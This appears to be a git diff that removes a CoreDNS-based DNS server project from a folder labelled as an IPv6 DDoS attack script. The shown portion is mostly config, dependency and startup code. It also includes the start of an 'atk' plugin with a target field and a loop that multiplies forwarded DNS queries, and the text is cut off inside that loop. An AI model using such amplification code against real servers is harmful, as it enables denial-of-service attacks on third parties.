firstConfigInBlock *prober.PBConfig - - for ik := range s.Keys { - a := Addrs[ik] - s.Keys[ik] = a.String() - // Save the config to our master list, and key it for lookups. - cfg := &prober.PBConfig{ - ListenHosts: []string{""}, - Port: a.Port, - Transport: a.Transport, - } - - // Set reference to the first config in the current block. - // This is used later by MakeServers to share a single plugin list - // for all zones in a server block. - if ik == 0 { - firstConfigInBlock = cfg - } - cfg.FirstConfigInBlock = firstConfigInBlock - - keyConfig := prober.KeyForConfig(ib, ik) - p.saveConfig(keyConfig, cfg) - } - } - return serverBlocks, nil -} - -// MakeServers uses the newly-created siteConfigs to create and return a list of server instances. -func (p *ProbeContext) MakeServers() ([]caddy.Server, error) { - // Copy the Plugin, ListenHosts and Debug from first config in the block - // to all other config in the same block . Doing this results in zones - // sharing the same plugin instances and settings as other zones in - // the same block. - for _, c := range p.configs { - c.Plugin = c.FirstConfigInBlock.Plugin - c.ListenHosts = c.FirstConfigInBlock.ListenHosts - c.Debug = c.FirstConfigInBlock.Debug - c.Stacktrace = c.FirstConfigInBlock.Stacktrace - - // Fork TLSConfig for each encrypted connection - c.TLSConfig = c.FirstConfigInBlock.TLSConfig.Clone() - c.ReadTimeout = c.FirstConfigInBlock.ReadTimeout - c.WriteTimeout = c.FirstConfigInBlock.WriteTimeout - c.IdleTimeout = c.FirstConfigInBlock.IdleTimeout - c.TsigSecret = c.FirstConfigInBlock.TsigSecret - } - - // we must map (group) each config to a bind address - groups, err := groupConfigsByListenPort(p.configs) - if err != nil { - return nil, err - } - // then we create a server for each group - var servers []caddy.Server - for protaddr, group := range groups { - // switch on addr - switch tr, _ := parse.Transport(transport.PROBER + protaddr[len(transport.PROBERTRAN):]); tr { - case transport.PROBER: - s, e := NewProberHTTP(protaddr, group) - if e != nil { - return nil, err - } - servers = append(servers, s) - } - } - - //// For each server config, check for View Filter plugins - //for _, c := range p.configs { - // // Add filters in the plugin.cfg order for consistent filter func evaluation order. - // for _, d := range Directives { - // if vf, ok := c.registry[d].(Viewer); ok { - // if c.ViewName != "" { - // return nil, fmt.Errorf("multiple views defined in server block") - // } - // c.ViewName = vf.ViewName() - // c.FilterFuncs = append(c.FilterFuncs, vf.Filter) - // } - // } - //} - - // Verify that there is no overlap on the zones and listen addresses - // for unfiltered server configs - //errValid := p.validateZonesAndListeningAddresses() - //if errValid != nil { - // return nil, errValid - //} - - return servers, nil -} - -// GetConfig gets the Config that corresponds to c. -// If none exist nil is returned. -func GetPBConfig(c *caddy.Controller) *prober.PBConfig { - ctx := c.Context().(*ProbeContext) - key := prober.KeyForConfig(c.ServerBlockIndex, c.ServerBlockKeyIndex) - if cfg, ok := ctx.keysToConfigs[key]; ok { - return cfg - } - // we should only get here during tests because directive - // actions typically skip the server blocks where we make - // the configs. - ctx.saveConfig(key, &prober.PBConfig{ListenHosts: []string{""}}) - return GetPBConfig(c) -} - -// groupConfigsByListenPort 建立监听端口和配置文件之间的映射,与服务端不同的是,一个监听地址端口只对应一个配置文件 -func groupConfigsByListenPort(configs []*prober.PBConfig) (map[string]*prober.PBConfig, error) { - groups := make(map[string]*prober.PBConfig) - for _, conf := range configs { - for _, h := range conf.ListenHosts { - tcpaddr, err := net.ResolveTCPAddr("tcp", net.JoinHostPort(h, conf.Port)) - if err != nil { - return nil, err - } - addrstr := conf.Transport + "://" + tcpaddr.String() - groups[addrstr] = conf - } - } - - return groups, nil -} - -// DefaultPort is the default port. -const DefaultPort = transport.PROBERPort - -// These "soft defaults" are configurable by -// command line flags, etc. -var ( - // Port is the port we listen on by default. - Port = DefaultPort - - // GracefulTimeout is the maximum duration of a graceful shutdown. - //GracefulTimeout time.Duration -) - -var _ caddy.GracefulServer = new(dnsserver.Server) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.mod" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.mod" deleted file mode 100644 index e2f7562..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.mod" +++ /dev/null @@ -1,36 +0,0 @@ -module ohmydns2 - -go 1.20 - -require ( - github.com/apparentlymart/go-cidr v1.1.0 - github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 - github.com/coredns/caddy v1.1.1 - github.com/dnstap/golang-dnstap v0.4.0 - github.com/farsightsec/golang-framestream v0.3.0 - github.com/miekg/dns v1.1.54 - github.com/opentracing/opentracing-go v1.2.0 - github.com/panjf2000/ants/v2 v2.8.1 - github.com/pochard/commons v1.1.2 - github.com/prometheus/client_golang v1.15.1 - github.com/thanhpk/randstr v1.0.6 - golang.org/x/sys v0.10.0 - google.golang.org/grpc v1.55.0 - google.golang.org/protobuf v1.30.0 -) - -require ( - github.com/beorn7/perks v1.0.1 // indirect - github.com/cespare/xxhash/v2 v2.2.0 // indirect - github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 // indirect - github.com/golang/protobuf v1.5.3 // indirect - github.com/matttproud/golang_protobuf_extensions v1.0.4 // indirect - github.com/prometheus/client_model v0.3.0 // indirect - github.com/prometheus/common v0.42.0 // indirect - github.com/prometheus/procfs v0.9.0 // indirect - golang.org/x/mod v0.12.0 // indirect - golang.org/x/net v0.12.0 // indirect - golang.org/x/text v0.11.0 // indirect - golang.org/x/tools v0.11.0 // indirect - google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 // indirect -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.sum" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.sum" deleted file mode 100644 index ef85dfa..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/go.sum" +++ /dev/null @@ -1,111 +0,0 @@ -github.com/apparentlymart/go-cidr v1.1.0 h1:2mAhrMoF+nhXqxTzSZMUzDHkLjmIHC+Zzn4tdgBZjnU= -github.com/apparentlymart/go-cidr v1.1.0/go.mod h1:EBcsNrHc3zQeuaeCeCtQruQm+n9/YjEn/vI25Lg7Gwc= -github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2 h1:DklsrG3dyBCFEj5IhUbnKptjxatkF07cF2ak3yi77so= -github.com/asaskevich/govalidator v0.0.0-20230301143203-a9d515a09cc2/go.mod h1:WaHUgvxTVq04UNunO+XhnAqY/wQc+bxr74GqbsZ/Jqw= -github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= -github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= -github.com/cespare/xxhash/v2 v2.2.0 h1:DC2CZ1Ep5Y4k3ZQ899DldepgrayRUGE6BBZ/cd9Cj44= -github.com/cespare/xxhash/v2 v2.2.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= -github.com/coredns/caddy v1.1.1 h1:2eYKZT7i6yxIfGP3qLJoJ7HAsDJqYB+X68g4NYjSrE0= -github.com/coredns/caddy v1.1.1/go.mod h1:A6ntJQlAWuQfFlsd9hvigKbo2WS0VUs2l1e2F+BawD4= -github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= -github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= -github.com/dnstap/golang-dnstap v0.4.0 h1:KRHBoURygdGtBjDI2w4HifJfMAhhOqDuktAokaSa234= -github.com/dnstap/golang-dnstap v0.4.0/go.mod h1:FqsSdH58NAmkAvKcpyxht7i4FoBjKu8E4JUPt8ipSUs= -github.com/farsightsec/golang-framestream v0.3.0 h1:/spFQHucTle/ZIPkYqrfshQqPe2VQEzesH243TjIwqA= -github.com/farsightsec/golang-framestream v0.3.0/go.mod h1:eNde4IQyEiA5br02AouhEHCu3p3UzrCdFR4LuQHklMI= -github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568 h1:BHsljHzVlRcyQhjrss6TZTdY2VfCqZPbv5k3iBFa2ZQ= -github.com/flynn/go-shlex v0.0.0-20150515145356-3f9db97f8568/go.mod h1:xEzjJPgXI435gkrCt3MPfRiAkVrwSbHsst4LCFVfpJc= -github.com/golang/protobuf v1.2.0/go.mod h1:6lQm79b+lXiMfvg/cZm0SGofjICqVBUtrP5yJMmIC1U= -github.com/golang/protobuf v1.3.5/go.mod h1:6O5/vntMXwX2lRkT1hjjk0nAC1IDOTvTlVgjlRvqsdk= -github.com/golang/protobuf v1.4.0-rc.1/go.mod h1:ceaxUfeHdC40wWswd/P6IGgMaK3YpKi5j83Wpe3EHw8= -github.com/golang/protobuf v1.4.0-rc.1.0.20200221234624-67d41d38c208/go.mod h1:xKAWHe0F5eneWXFV3EuXVDTCmh+JuBKY0li0aMyXATA= -github.com/golang/protobuf v1.4.0-rc.2/go.mod h1:LlEzMj4AhA7rCAGe4KMBDvJI+AwstrUpVNzEA03Pprs= -github.com/golang/protobuf v1.4.0-rc.4.0.20200313231945-b860323f09d0/go.mod h1:WU3c8KckQ9AFe+yFwt9sWVRKCVIyN9cPHBJSNnbL67w= -github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= -github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= -github.com/golang/protobuf v1.5.3 h1:KhyjKVUg7Usr/dYsdSqoFveMYd5ko72D+zANwlG1mmg= -github.com/golang/protobuf v1.5.3/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= -github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= -github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.9 h1:O2Tfq5qg4qc4AmwVlvv0oLiVAGB7enBSJ2x2DqQFi38= -github.com/google/uuid v1.1.1/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= -github.com/matttproud/golang_protobuf_extensions v1.0.4 h1:mmDVorXM7PCGKw94cs5zkfA9PSy5pEvNWRP0ET0TIVo= -github.com/matttproud/golang_protobuf_extensions v1.0.4/go.mod h1:BSXmuO+STAnVfrANrmjBb36TMTDstsz7MSK+HVaYKv4= -github.com/miekg/dns v1.1.31/go.mod h1:KNUDUusw/aVsxyTYZM1oqvCicbwhgbNgztCETuNZ7xM= -github.com/miekg/dns v1.1.54 h1:5jon9mWcb0sFJGpnI99tOMhCPyJ+RPVz5b63MQG0VWI= -github.com/miekg/dns v1.1.54/go.mod h1:uInx36IzPl7FYnDcMeVWxj9byh7DutNykX4G9Sj60FY= -github.com/opentracing/opentracing-go v1.2.0 h1:uEJPy/1a5RIPAJ0Ov+OIO8OxWu77jEv+1B0VhjKrZUs= -github.com/opentracing/opentracing-go v1.2.0/go.mod h1:GxEUsuufX4nBwe+T+Wl9TAgYrxe9dPLANfrWvHYVTgc= -github.com/panjf2000/ants/v2 v2.8.1 h1:C+n/f++aiW8kHCExKlpX6X+okmxKXP7DWLutxuAPuwQ= -github.com/panjf2000/ants/v2 v2.8.1/go.mod h1:KIBmYG9QQX5U2qzFP/yQJaq/nSb6rahS9iEHkrCMgM8= -github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= -github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= -github.com/pochard/commons v1.1.2 h1:65SlPrtLqJgCboQitD72Wrdw7xsGJ2wD6HS1hUpk6pc= -github.com/pochard/commons v1.1.2/go.mod h1:HzXF3rNqu78SkHDx4IY+jp/SqSnkwT/OHjSrlqoitgI= -github.com/prometheus/client_golang v1.15.1 h1:8tXpTmJbyH5lydzFPoxSIJ0J46jdh3tylbvM1xCv0LI= -github.com/prometheus/client_golang v1.15.1/go.mod h1:e9yaBhRPU2pPNsZwE+JdQl0KEt1N9XgF6zxWmaC0xOk= -github.com/prometheus/client_model v0.3.0 h1:UBgGFHqYdG/TPFD1B1ogZywDqEkwp3fBMvqdiQ7Xew4= -github.com/prometheus/client_model v0.3.0/go.mod h1:LDGWKZIo7rky3hgvBe+caln+Dr3dPggB5dvjtD7w9+w= -github.com/prometheus/common v0.42.0 h1:EKsfXEYo4JpWMHH5cg+KOUWeuJSov1Id8zGR8eeI1YM= -github.com/prometheus/common v0.42.0/go.mod h1:xBwqVerjNdUDjgODMpudtOMwlOwf2SaTr1yjz4b7Zbc= -github.com/prometheus/procfs v0.9.0 h1:wzCHvIvM5SxWqYvwgVL7yJY8Lz3PKn49KQtpgMYJfhI= -github.com/prometheus/procfs v0.9.0/go.mod h1:+pB4zwohETzFnmlpe6yd2lSc+0/46IYZRB/chUwxUZY= -github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= -github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= -github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= -github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= -github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= -github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= -github.com/stretchr/testify v1.8.1 h1:w7B6lhMri9wdJUVmEZPGGhZzrYTPvgJArz7wNPgYKsk= -github.com/stretchr/testify v1.8.1/go.mod h1:w2LPCIKwWwSfY2zedu0+kehJoqGctiVI29o6fzry7u4= -github.com/thanhpk/randstr v1.0.6 h1:psAOktJFD4vV9NEVb3qkhRSMvYh4ORRaj1+w/hn4B+o= -github.com/thanhpk/randstr v1.0.6/go.mod h1:M/H2P1eNLZzlDwAzpkkkUvoyNNMbzRGhESZuEQk3r0U= -golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= -golang.org/x/crypto v0.0.0-20191011191535-87dc89f01550/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= -golang.org/x/mod v0.1.1-0.20191105210325-c90efee705ee/go.mod h1:QqPTAvyqsEbceGzBzNggFXnrqF1CaUcvgkdR5Ot7KZg= -golang.org/x/mod v0.12.0 h1:rmsUpXtvNzj340zd98LZ4KntptpfRHwpFOHG188oHXc= -golang.org/x/mod v0.12.0/go.mod h1:iBbtSCu2XBx23ZKBPSOrRkjjQPZFPuis4dIYUhu/chs= -golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= -golang.org/x/net v0.0.0-20190620200207-3b0461eec859/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.0.0-20190923162816-aa69164e4478/go.mod h1:z5CRVTTTmAJ677TzLLGU+0bjPO0LkuOLi4/5GtJWs/s= -golang.org/x/net v0.12.0 h1:cfawfvKITfUsFCeJIHJrbSxpeu/E81khclypR0GVT50= -golang.org/x/net v0.12.0/go.mod h1:zEVYFnQC7m/vmpQFELhcD1EWkZlX69l4oqgmer6hfKA= -golang.org/x/sync v0.0.0-20181221193216-37e7f081c4d4/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.0.0-20190423024810-112230192c58/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.1.0/go.mod h1:RxMgew5VJxzue5/jJTE5uejpjVlOe/izrB70Jof72aM= -golang.org/x/sync v0.3.0 h1:ftCYgMx6zT/asHUrPw8BLLscYtGznsLAnjq5RH9P66E= -golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= -golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20190924154521-2837fb4f24fe/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.10.0 h1:SqMFp9UcQJZa+pmYuAKjd9xq1f0j5rLcDIk0mj4qAsA= -golang.org/x/sys v0.10.0/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= -golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= -golang.org/x/text v0.11.0 h1:LAntKIrcmeSKERyiOh0XMV39LXS8IE9UL2yP7+f5ij4= -golang.org/x/text v0.11.0/go.mod h1:TvPlkZtksWOMsz7fbANvkp4WM8x/WCo/om8BMLbz+aE= -golang.org/x/tools v0.0.0-20191216052735-49a3e744a425/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= -golang.org/x/tools v0.11.0 h1:EMCa6U9S2LtZXLAMoWiR/R8dAQFRqbAitmbJ2UKhoi8= -golang.org/x/tools v0.11.0/go.mod h1:anzJrxPjNtfgiYQYirP2CPGzGLxrH2u2QBhn6Bf3qY8= -golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= -google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4 h1:DdoeryqhaXp1LtT/emMP1BRJPHHKFi5akj/nbx/zNTA= -google.golang.org/genproto v0.0.0-20230306155012-7f2fa6fef1f4/go.mod h1:NWraEVixdDnqcqQ30jipen1STv2r/n24Wb7twVTGR4s= -google.golang.org/grpc v1.55.0 h1:3Oj82/tFSCeUrRTg/5E/7d/W5A1tj6Ky1ABAuZuv5ag= -google.golang.org/grpc v1.55.0/go.mod h1:iYEXKGkEBhg1PjZQvoYEVPTDkHo1/bjTnfwTeGONTY8= -google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= -google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= -google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= -google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= -google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= -google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= -google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= -google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= -google.golang.org/protobuf v1.30.0 h1:kPPoIgf3TsEvrm0PFe15JQ+570QVxYzEvvHqChK+cng= -google.golang.org/protobuf v1.30.0/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I= -gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= -gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= -gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= -gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/run.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/run.go" deleted file mode 100644 index 6639881..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/run.go" +++ /dev/null @@ -1,187 +0,0 @@ -package ohmain - -import ( - "flag" - "fmt" - "log" - "ohmydns2/core/dnsserver" - "os" - "path/filepath" - "runtime" - "strings" - - "github.com/coredns/caddy" -) - -func init() { - caddy.DefaultConfigFile = "Ohmyfile" - caddy.Quiet = true // don't show init stuff from caddy - setVersion() - - flag.StringVar(&conf, "conf", "", "Ohmyfile to load (default \""+caddy.DefaultConfigFile+"\")") - flag.BoolVar(&plugins, "plugins", false, "List installed plugins") - flag.StringVar(&caddy.PidFile, "pidfile", "", "Path to write pid file") - flag.BoolVar(&version, "version", false, "Show version") - flag.BoolVar(&dnsserver.Quiet, "quiet", false, "Quiet mode (no initialization output)") - - caddy.RegisterCaddyfileLoader("flag", caddy.LoaderFunc(confLoader)) - caddy.SetDefaultCaddyfileLoader("default", caddy.LoaderFunc(defaultLoader)) - - //flag.StringVar(&prober.Port, serverType+".port", prober.DefaultPort, "Default port") - //flag.StringVar(&prober.Port, "p", prober.DefaultPort, "Default port") - - caddy.AppName = ohmyName - caddy.AppVersion = OMVersion -} - -// ohmydns主函数 -func Run() { - caddy.TrapSignals() - flag.Parse() - - if len(flag.Args()) > 0 { - mustLogFatal(fmt.Errorf("extra command line arguments: %s", flag.Args())) - } - - log.SetOutput(os.Stdout) - log.SetFlags(0) // Set to 0 because we're doing our own time, with timezone - - if version { - showVersion() - os.Exit(0) - } - if plugins { - fmt.Println(caddy.DescribePlugins()) - os.Exit(0) - } - - // Get Ohmyfile input - ohmyfile, err := caddy.LoadCaddyfile(serverType) - if err != nil { - mustLogFatal(err) - } - - // Start your engines - instance, err := caddy.Start(ohmyfile) - if err != nil { - mustLogFatal(err) - } - - if !dnsserver.Quiet { - showVersion() - } - - // Twiddle your thumbs - instance.Wait() -} - -// mustLogFatal wraps log.Fatal() in a way that ensures the -// output is always printed to stderr so the user can see it -// if the user is still there, even if the process log was not -// enabled. If this process is an upgrade, however, and the user -// might not be there anymore, this just logs to the process -// log and exits. -func mustLogFatal(args ...interface{}) { - if !caddy.IsUpgrade() { - log.SetOutput(os.Stderr) - } - log.Fatal(args...) -} - -// confLoader loads the Caddyfile using the -conf flag. -func confLoader(serverType string) (caddy.Input, error) { - if conf == "" { - return nil, nil - } - - if conf == "stdin" { - return caddy.CaddyfileFromPipe(os.Stdin, serverType) - } - - contents, err := os.ReadFile(filepath.Clean(conf)) - if err != nil { - return nil, err - } - return caddy.CaddyfileInput{ - Contents: contents, - Filepath: conf, - ServerTypeName: serverType, - }, nil -} - -// defaultLoader loads the Corefile from the current working directory. -func defaultLoader(serverType string) (caddy.Input, error) { - contents, err := os.ReadFile(caddy.DefaultConfigFile) - if err != nil { - if os.IsNotExist(err) { - return nil, nil - } - return nil, err - } - return caddy.CaddyfileInput{ - Contents: contents, - Filepath: caddy.DefaultConfigFile, - ServerTypeName: serverType, - }, nil -} - -// showVersion prints the version that is starting. -func showVersion() { - fmt.Print(versionString()) - fmt.Print(releaseString()) - if devBuild && gitShortStat != "" { - fmt.Printf("%s\n%s\n", gitShortStat, gitFilesModified) - } -} - -// versionString returns the CoreDNS version as a string. -func versionString() string { - return fmt.Sprintf("%s-%s\n", caddy.AppName, caddy.AppVersion) -} - -// releaseString returns the release information related to CoreDNS version: -// /, , -// e.g., -// linux/amd64, go1.8.3, a6d2d7b5 -func releaseString() string { - return fmt.Sprintf("%s/%s, %s\n", runtime.GOOS, runtime.GOARCH, runtime.Version()) -} - -// setVersion figures out the version information -// based on variables set by -ldflags. -func setVersion() { - // A development build is one that's not at a tag or has uncommitted changes - devBuild = gitTag == "" || gitShortStat != "" - - // Only set the appVersion if -ldflags was used - if gitNearestTag != "" || gitTag != "" { - if devBuild && gitNearestTag != "" { - appVersion = fmt.Sprintf("%s (+%s %s)", strings.TrimPrefix(gitNearestTag, "v"), GitCommit, buildDate) - } else if gitTag != "" { - appVersion = strings.TrimPrefix(gitTag, "v") - } - } -} - -// Flags that control program flow or startup -var ( - conf string - version bool - plugins bool -) - -// Build information obtained with the help of -ldflags -var ( - // nolint - appVersion = "(untracked dev build)" // inferred at startup - devBuild = true // inferred at startup - - buildDate string // date -u - gitTag string // git describe --exact-match HEAD 2> /dev/null - gitNearestTag string // git describe --abbrev=0 --tags HEAD - gitShortStat string // git diff-index --shortstat - gitFilesModified string // git diff-index --name-only HEAD - - // Gitcommit contains the commit where we built CoreDNS from. - GitCommit string -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/version.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/version.go" deleted file mode 100644 index 904fcae..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmain/version.go" +++ /dev/null @@ -1,7 +0,0 @@ -package ohmain - -const ( - OMVersion = "2.0.0" - ohmyName = "OhmyDNS" - serverType = "dns" -) diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmydns.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmydns.go" deleted file mode 100644 index ef9fe88..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/ohmydns.go" +++ /dev/null @@ -1,12 +0,0 @@ -package main - -//go:generate go run plugin_gen.go - -import ( - _ "ohmydns2/core/plug" - "ohmydns2/ohmain" -) - -func main() { - ohmain.Run() -} diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin.cfg" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin.cfg" deleted file mode 100644 index 03c93b9..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin.cfg" +++ /dev/null @@ -1,9 +0,0 @@ -log:log -dnstap:dnstap -debug:debug -prometheus:prometheus -forward:forward -metadata:metadata -whoami:whoami -qname:qname -atk:atk \ No newline at end of file diff --git "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atk.go" "b/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atk.go" deleted file mode 100644 index b5b6ccb..0000000 --- "a/att script/4(v6 DDoS)/code/\350\276\205\345\212\251\346\235\203\345\250\201\346\234\215\345\212\241\345\231\250/plugin/atk/atk.go" +++ /dev/null @@ -1,127 +0,0 @@ -package atk - -import ( - "context" - "github.com/miekg/dns" - "github.com/thanhpk/randstr" - "net" - "ohmydns2/plugin/pkg/proxy" - "ohmydns2/plugin/pkg/request" - "strings" -) - -type Atk struct { - proxies []*proxy.Proxy - serveType string - magni int - zoneip4 string - zoneip6 string - ip6NS string - ip4NS string - ip6Addr string - ip4Addr string - target string -} - -func (a Atk) ServeDNS(ctx context.Context, w dns.ResponseWriter, r *dns.Msg) (int, error) { - state := request.Request{W: w, Req: r} - // 转发器模式 - if a.serveType == "fdns" { - opt := proxy.Options{ForceTCP: false, PreferUDP: true, HCRecursionDesired: true, HCDomain: "."} - for i := a.magni; i > 0; i-- { - 